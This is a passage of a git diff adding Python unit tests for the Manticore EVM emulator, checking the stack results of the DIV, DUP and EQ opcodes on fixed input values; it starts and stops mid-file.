+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_DIV_76(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [9507379501711720511225274040320L])
+
+    def test_DIV_77(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [594211218856982531951579627520L])
+
+    def test_DIV_78(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_DIV_79(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_DIV_80(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_DIV_81(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x04'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMDUP.py b/tests/EVM/test_EVMDUP.py
new file mode 100644
index 0000000..563ebce
--- /dev/null
+++ b/tests/EVM/test_EVMDUP.py
@@ -0,0 +1,421 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_DUP(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_DUP_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x80'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L, 115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_DUP_2(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x80'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0, 0])
+
+    def test_DUP_3(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x80'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1, 1])
+
+    def test_DUP_4(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x80'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819952L, 57896044618658097711785492504343953926634992332820282019728792003956564819952L])
+
+    def test_DUP_5(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x80'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263L, 3618502788666131106986593281521497120414687020801267626233049500247285301263L])
+
+    def test_DUP_6(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x80'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16, 16])
+
+    def test_DUP_7(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x80'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32, 32])
+
+    def test_DUP_8(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x80'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48, 48])
+
+    def test_DUP_9(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x80'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L, 6089590155545428825848686802984512581899718912L])
+
+    def test_DUP_10(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x81'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L, 115792089237316195423570985008687907853269984665640564039457584007913129639935L, 115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_DUP_11(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x81'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L, 0, 115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_DUP_12(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x81'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L, 1, 115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_DUP_13(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x81'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L, 57896044618658097711785492504343953926634992332820282019728792003956564819952L, 115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_DUP_14(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x81'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L, 3618502788666131106986593281521497120414687020801267626233049500247285301263L, 115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMEQ.py b/tests/EVM/test_EVMEQ.py
new file mode 100644
index 0000000..1855bab
--- /dev/null
+++ b/tests/EVM/test_EVMEQ.py
@@ -0,0 +1,2306 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_EQ(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_EQ_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_EQ_2(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_3(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_4(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_5(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_6(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_7(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_8(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_EQ_9(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x14'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
